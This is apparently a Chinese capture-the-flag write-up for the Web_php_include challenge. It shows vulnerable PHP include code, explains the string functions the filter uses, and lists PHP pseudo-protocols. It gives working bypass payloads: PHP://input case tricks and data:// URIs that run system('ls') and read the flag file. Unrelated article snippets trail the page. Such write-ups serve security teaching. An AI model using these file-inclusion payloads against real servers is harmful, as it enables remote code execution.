Web_php_include
0x01 函数分析
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
strstr():
定义和用法:
- 搜索字符串在另一个字符串中是否存在,如果是,返回字符串及剩余部分,否则返回false。
- 区分大小写,stristr()函数不区分大小写
语法:
strstr(string,search,before_search)
- string:必需,被搜索的字符串
- search:必需,要搜索的字符串,若是数字,则搜索对应的ASCII值的字符
- before_search:可选,默认为“false”,若为true,将返回search参数第一次出现之前的字符串部分
//实例
<?php
echo strstr("helloworld","wor"),PHP_EOL;
echo strstr("helloworld","wor",true),PHP_EOL;
echo strstr("Helloworld!",111),PHP_EOL;//111ASCII为O
$a=strstr("Helloworld!",'ooo',true);
var_dump($a);
$b=strstr("Helloworld!",'ooo');
var_dump($b);
?>
world
hello
oworld!
bool(false)
bool(false)
str_replace():
定义和用法:
- 以其它字符替换字符串中的一些字符(区分大小写)
语法:
str_replace(find,replace,string,count)
- find,必需,要查找的值
- replace,必需,要替换的值
- string,必需,被搜索的字符串
- count,可选,替换次数
0x02
此题为文件包含,过滤掉php://伪协议,可以使用其它伪协议结题。
方法1:大小写绕过
strstr()函数区分大小写,所以使用PHP://input

方法2:date://伪协议
payload
?page=data://text/plain,<?php system("ls")?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= //base64编码

?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

0x03伪协议
1、伪协议种类
- file:// 访问本地文件系统
- http:// 访问http(s)网址
- ftp:// 访问ftp
- php:// 访问各个输入/输出流
- zlib:// 压缩流
- data:// 数据
- rar:// RAR压缩包
- ogg:// 音频流
2、造成文件包含漏洞的函数
include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline
3、php伪协议
- php://input,用于执行php代码,需要post请求提交数据。
- php://filter,用于读取源码,get提交参数。?a=php://filter/read=convert.base64/resource=xxx.php
- 需要开启allow_url_fopen:php://input、php://stdin、php://memory、php://temp
- 不需要开启allow_url_fopen:php://filter
4、data协议
用法:
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
例:
?page=data://text/plain,
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
5、file协议
用法:
file://[本地文件系统的绝对路径]
参考链接:
https://blog.csdn.net/weixin_43818995/article/details/104164700
https://blog.csdn.net/szuaurora/article/details/78141126
https://www.cnblogs.com/-an-/p/12372220.html
Web_php_include的更多相关文章
- 攻防世界-Web_php_include (四种解法)
攻防世界-Web_php_include (考察的是文件包含) 打开页面是这样一段代码从代码中得知page中带有php://的都会被替换成空 str_replace()以其他字符替换字符串中的一些 ...
- 攻防世界(五)Web_php_include
攻防世界系列:Web_php_include 方法一:大小写绕过 strstr()函数对php我协议进行了过滤,但我们可以尝试大小写绕过 抓包POST传值让其执行我们输入的命令 ?page=Php:/ ...
- 攻防世界 web_php_include
Web_php_include 进入题目源码直接出来了 <?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page'] ...
- 攻防世界之Web_php_include
题目: 解题思路: 直接给出源码,由代码可知此题应该为文件包含,而且应该利用php伪协议 strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回FALSE 可 ...
- 攻防世界(XCTF)WEB(进阶区)write up(四)
ics-07 Web_php_include Zhuanxv Web_python_template_injection ics-07 题前半部分是php弱类型 这段说当传入的id值浮点值不能为1 ...
- XCTF-WEB-高手进阶区(1-4)笔记
1:baby_web 题目描述:想想初始页面是哪个 通过Dirsearch软件扫描发现Index.php被藏起来了,访问他便会指向1.php 于是通过Burp修改Get为index.php,然后放入R ...
- php include文件包含
XCTF题目:Web_php_include <?php show_source(__FILE__);//高亮显示源文件 echo $_GET['hello']; $page=$_GET['pa ...
- 攻防世界 - Web(一)
baby_web: 1.根据题目提示,初始页面即为index,将1.php改为index.php,发现依然跳转成1.php,尝试修改抓包,出现如下回显, 2.在header中获取flag, flag: ...
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
随机推荐
- 尝试用python开发一款图片压缩工具1:尝试 pillow库
开发目的 我经常使用图片.公众号文章发文也好,还是生活中要使用素材.图片是一种比文字更加直观的载体.但是图片更加占用带宽,很多软件都对图片有大小限制.图片太大也会影响加载速度.我试过几款图片压缩工具, ...
- MySQL不香吗,为什么还要有noSQL?
本文始发于个人公众号:TechFlow,原创不易,求个关注 今天是分布式专题的第14篇文章,我们一起来看看NoSQL数据库. 其实我很早就想写写分布式数据库相关的文章,既是我现在正在学习的,也是我很感 ...
- Vue【你知道吗?】
前言 Vue的由来 Vue最早发布于2014年左右,作者是美中国学生尤雨溪.Vue 的定位就是为前端开发提供一个低门槛,高效率,但同时又能够伴随用户成长的框架 尤雨溪谈Vue.js :缔造自由与真我 ...
- Ubuntu当状态栏网络图标隐藏的解决方法汇总
最有效之一: 直接在终端运行以下命令,以root身份: nm-applet --sm-disable 不建议修改配置文件内容
- deepin15.11小毛病解决
目录 边缘花屏问题 QQ`Tim头像问题 ssh卡死问题 看直播卡 边缘花屏问题 sudo apt install systemsettings 打开kde系统设置 打开显示与设置,修改如图下,基本上 ...
- C语言如何实现继承及容器
继承的概念 继承是面向对象软件技术当中的一个概念,与多态.封装共为面向对象的三个基本特征.继承可以使得子类具有父类的属性和方法或者重新定义,追加属性和方法. 面向对象中的重要概念就是类,在我们熟知的编 ...
- curl请求本地域名问题
curl在本地虚拟机上请求本地接口时候,出现域名解析问题,换为ip即可,可用curl_error() 或者curl_errno来调试: vue单个文件在引入时候自己的逻辑js文件一定要放在html后引 ...
- 2019-2020-1 20199308《Linux内核原理与分析》第七周作业
<Linux内核分析> 第六章 进程的描述和进程的创建 6.1 进程的描述 操作系统内核实现操作系统的三大管理功能: 进程管理(进程)-核心 内存管理(虚拟内存) 文件系统(文件) 为了管 ...
- jstat命令查看JVM 的GC状态
转载于 https://www.cnblogs.com/alter888/p/10407952.html jstat命令可以查看堆内存各部分的使用量,以及加载类的数量.命令的格式如下: jstat ...
- hdu_1052 Tian Ji -- The Horse Racing 贪心
Tian Ji -- The Horse Racing Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (J ...